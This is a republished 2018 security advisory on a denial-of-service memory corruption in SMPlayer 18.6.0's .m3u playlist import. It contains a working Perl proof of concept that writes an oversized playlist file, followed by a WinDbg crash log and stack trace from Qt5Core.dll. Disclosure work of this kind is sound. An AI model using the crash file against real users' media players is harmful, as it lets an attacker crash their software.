SMPlayer 18.6.0 Memory Corruption



EKU-ID: 7773 CVE: OSVDB-ID:
Author: ZwX Published: 2018-07-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


i>>?Document Title:
===============
SMPlayer 18.6.0 - Memory Corruption (DoS) Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2138


Release Date:
=============
2018-07-23


Vulnerability Laboratory ID (VL-ID):
====================================
2138


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Denial of Service


Current Estimated Price:
========================
500a! - 1.000a!


Product & Service Introduction:
===============================
SMPlayer is a free multimedia player for Windows and Linux with built-in codecs that can play virtually any video and audio format. 
It does not need any additional codecs. Install SMPlayer with ease and you'll be able to instantly play all audio and video formats 
without having to search for and install additional codecs.

(Copy of the Vendor Homepage: http://www.smplayer.info/)



Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a memory corruption vulnerability in the official SMPlayer v18.6.0 software.


Vulnerability Disclosure Timeline:
==================================
2018-07-23:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A memory corruption vulnerability resulting in a denial of service has been discovered in the official SMPlayer v18.6.0 software.
The vulnerability is caused by an invalid pointer corruption while processing a corrupted .m3u file through the SMPlayer reader.
Which could be exploited by attackers to crash a complete software process via denial of service. The vulnerability is located in
the Qt5Core.dll when processing an .m3u file on import.

Vulnerable Modules:
[+] Open  
[+] File
[+] Reading


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers via import or by remote attackers via user interaction. 
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.


PoC: Exploitation (Perl)
#!/usr/bin/perl
my $Buff = "A" x 122200;
open(MYFILE,'>>Corruption.m3u');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwX";


--- PoC Debug Session Logs (Windbg) ---
EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 68b724d9 (Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+0x000005f9)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 020ffffe
Attempt to write to address 020ffffe

FAULTING_THREAD:  00000994
DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE
PROCESS_NAME:  smplayer.exe

FOLLOWUP_IP: 
Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9
68b724d9 66895702        mov     word ptr [edi+2],dx

WRITE_ADDRESS:  020ffffe 
ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>
EXCEPTION_CODE_STR:  c0000005
EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  020ffffe
WATSON_BKT_PROCSTAMP:  5b2f993b
WATSON_BKT_PROCVER:  18.6.0.0
PROCESS_VER_PRODUCT:  SMPlayer for Windows (32-bit)
WATSON_BKT_MODULE:  Qt5Core.dll
WATSON_BKT_MODSTAMP:  5715839e
WATSON_BKT_MODOFFSET:  f24d9
WATSON_BKT_MODVER:  5.6.0.0
MODULE_VER_PRODUCT:  Qt5
BUILD_VERSION_STRING:  7601.24168.x86fre.win7sp1_ldr.180608-0600
MODLIST_WITH_TSCHKSUM_HASH:  ec621d6b16ea647fcad270b607987d6790c6372e
MODLIST_SHA1_HASH:  22b51cf1164db3537920237889937f627826c434
NTGLOBALFLAG:  70
PROCESS_BAM_CURRENT_THROTTLED: 0
PROCESS_BAM_PREVIOUS_THROTTLED: 0
APPLICATION_VERIFIER_FLAGS:  0
PRODUCT_TYPE:  1
SUITE_MASK:  784
DUMP_TYPE:  fe
ANALYSIS_SESSION_TIME:  07-20-2018 16:01:44.0461
ANALYSIS_VERSION: 10.0.17134.12 x86fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  FRA

PROBLEM_CLASSES: 
    ID:     [0n309]
    Type:   [@ACCESS_VIOLATION]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Omit
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x994]
    Frame:  [0] : Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile

    ID:     [0n282]
    Type:   [INVALID_POINTER_WRITE]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x994]
    Frame:  [0] : Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE
PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT
LAST_CONTROL_TRANSFER:  from 68b552b9 to 68b724d9

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0022c968 68b552b9 00000023 0022ca38 0022ca08 Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+0x5f9
0022c9c8 68b72b3c 00000003 00000000 037ef398 Qt5Core!ZN5QFile4openE6QFlagsIN9QIODevice12OpenModeFlagEE+0x59
0022ca58 68b94738 0022cab8 0022cae0 00000000 Qt5Core!ZN14QTemporaryFile4openE6QFlagsIN9QIODevice12OpenModeFlagEE+0x2c
0022cae8 68b94d99 00000000 00000000 00666c30 Qt5Core!ZN9QSettings5eventEP6QEvent+0x378
0022cb18 00445290 0022cb7c 00000000 00000000 Qt5Core!ZN9QSettings5eventEP6QEvent+0x9d9
0022cba8 004502ad 0022cbdc 00000002 027b14d8 smplayer+0x45290
0022cc08 0046961a 027b4388 0022cd38 00000007 smplayer+0x502ad
0022cc88 0046ad1c 0022cd38 0022cd3c 00000004 smplayer+0x6961a
0022cd68 0046bfea 0022cdb8 00000000 0022cda8 smplayer+0x6ad1c
0022cdd8 68c15612 027b1430 00000000 00000022 smplayer+0x6bfea
0022ce78 004c08cc 027b8a48 00000007 00000000 Qt5Core!ZN11QMetaObject8activateEP7QObjectiiPPv+0x212
0022cf18 004c98e1 00000000 00000000 00000000 smplayer+0xc08cc
0022d058 004f97f0 0022d0ac 00000002 00686bc4 smplayer+0xc98e1
0022d0d8 00501901 0022d1a4 021d56f0 0022d128 smplayer+0xf97f0
0022d1d8 00523690 00000000 00000000 000002aa smplayer+0x101901
0022d228 68c15612 021d56f0 00000000 0000000b smplayer+0x123690
0022d2c8 00cb4238 02874d38 00000003 00000001 Qt5Core!ZN11QMetaObject8activateEP7QObjectiiPPv+0x212
0022d2f8 00e2bfb0 00000000 68d2c200 00000000 Qt5Widgets!ZN7QAction8activateENS_11ActionEventE+0x98
0022d398 00e2a9de 0022d3d0 00000000 00000420 Qt5Widgets!ZN5QMenu18setToolTipsVisibleEb+0x2a0
0022d3a8 77156370 00000000 00000000 000000dc Qt5Widgets!ZN5QMenu7hoveredEP7QAction+0xd1e
0022d498 00e360ba 0022d820 021574e8 0000000c ntdll!RtlpFreeHeap+0xb7a
0022d4a8 6aa8f5f1 021181e0 0000000c 0022d518 Qt5Widgets!ZN5QMenu5eventEP6QEvent+0x11a
0022d4b8 68a9e6af 0000001b 0371e2f8 00000010 qwindows+0xf5f1
0022d518 61b76f8b 0022d820 00000000 00000048 Qt5Core!ZN7QThread21setTerminationEnabledEb+0x4af
0022d538 00cbfcc1 028b7ae0 0022d820 0022d848 Qt5Gui!ZNK11QMouseEvent5flagsEv+0xb
0022d5a4 771c5c6e 02148bc0 00000001 00000000 Qt5Widgets!ZN12QApplication6notifyEP7QObjectP6QEvent+0xb51
0022d5d4 771c6c18 00360138 00000029 0000000f ntdll!RtlpValidateHeap+0x20
0022d678 61b69e7a 0212a8a8 00000000 00000000 ntdll!RtlDebugFreeHeap+0x276
0022d6a8 68bf5259 028b7ae0 0022d820 0022d77c Qt5Gui!ZNK7QWindow8geometryEv+0x1ba
0022d6f8 00cbe96c 028b7ae0 0022d820 02957d40 Qt5Core!ZN16QCoreApplication15notifyInternal2EP7QObjectP6QEvent+0x109
0022d898 00d1537a 0022dbb0 0022dbb0 00000000 Qt5Widgets!ZN19QApplicationPrivate14sendMouseEventEP7QWidgetP11QMouseEventS1_S1_PS1_R8QPointerIS0_Eb+0x1dc
0022d8c8 68bf4cef 00000000 03766523 00000000 Qt5Widgets!ZN14QDesktopWidget11qt_metacallEN11QMetaObject4CallEiPPv+0x48ba
0022fe38 005d7d52 00000001 02142fb8 009751a0 Qt5Core!ZN23QCoreApplicationPrivate29threadRequiresCoreApplicationEv+0xf
0022fe98 00635f1d 00400000 00000000 00962598 smplayer+0x1d7d52
0022feb8 004013e2 00363aa8 00000019 00000001 smplayer+0x235f1d
0022ff88 7560efac 7ffd3000 0022ffd4 77163628 smplayer+0x13e2
0022ff94 77163628 7ffd3000 77dd4275 00000000 kernel32!BaseThreadInitThunk+0x12
0022ffd4 771635fb 004014c0 7ffd3000 00000000 ntdll!__RtlUserThreadStart+0x70
0022ffec 00000000 004014c0 7ffd3000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND:  ~0s ; .cxr ; kb
THREAD_SHA1_HASH_MOD_FUNC:  ad89141657ca48c6d034b3799d071b71260125cc
THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  83a292b67a1ed4f6616c9779d9411dcb769f07bc
THREAD_SHA1_HASH_MOD:  87d5f5752469a4414a8f7facb8849b26ec792c75
FAULT_INSTR_CODE:  2578966
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: Qt5Core
IMAGE_NAME:  Qt5Core.dll
DEBUG_FLR_IMAGE_TIMESTAMP:  5715839e
FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_Qt5Core.dll!ZN14QTemporaryFile16createNativeFileER5QFile
BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_Qt5Core!ZN14QTemporaryFile16createNativeFileER5QFile+5f9
FAILURE_EXCEPTION_CODE:  c0000005
FAILURE_IMAGE_NAME:  Qt5Core.dll
BUCKET_ID_IMAGE_STR:  Qt5Core.dll
FAILURE_MODULE_NAME:  Qt5Core
BUCKET_ID_MODULE_STR:  Qt5Core

--------------------------------------
0:000> lmvm Qt5Core
Browse full module list
start    end        module name
68a80000 68faf000   Qt5Core    (export symbols)       C:SMPlayerQt5Core.dll
    Loaded symbol image file: C:SMPlayerQt5Core.dll
    Image path: C:SMPlayerQt5Core.dll
    Image name: Qt5Core.dll
    Browse all global symbols  functions  data
    Timestamp:        Mon Apr 18 18:02:22 2016 (5715839E)
    CheckSum:         0052E947
    ImageSize:        0052F000
    File version:     5.6.0.0
    Product version:  5.6.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    Information from resource tables:
        CompanyName:      The Qt Company Ltd
        ProductName:      Qt5
        OriginalFilename: Qt5Core.dll
        ProductVersion:   5.6.0.0
        FileVersion:      5.6.0.0
        FileDescription:  C++ application development framework.
        LegalCopyright:   Copyright (C) 2015 The Qt Company Ltd.


Security Risk:
==============
The security risk of the memory corruption that occurs by an invalid pointer write on import is estimated as medium.


Credits & Authors:
==================
ZwX - https://www.vulnerability-lab.com/show.php?user=ZwX


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

				    Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/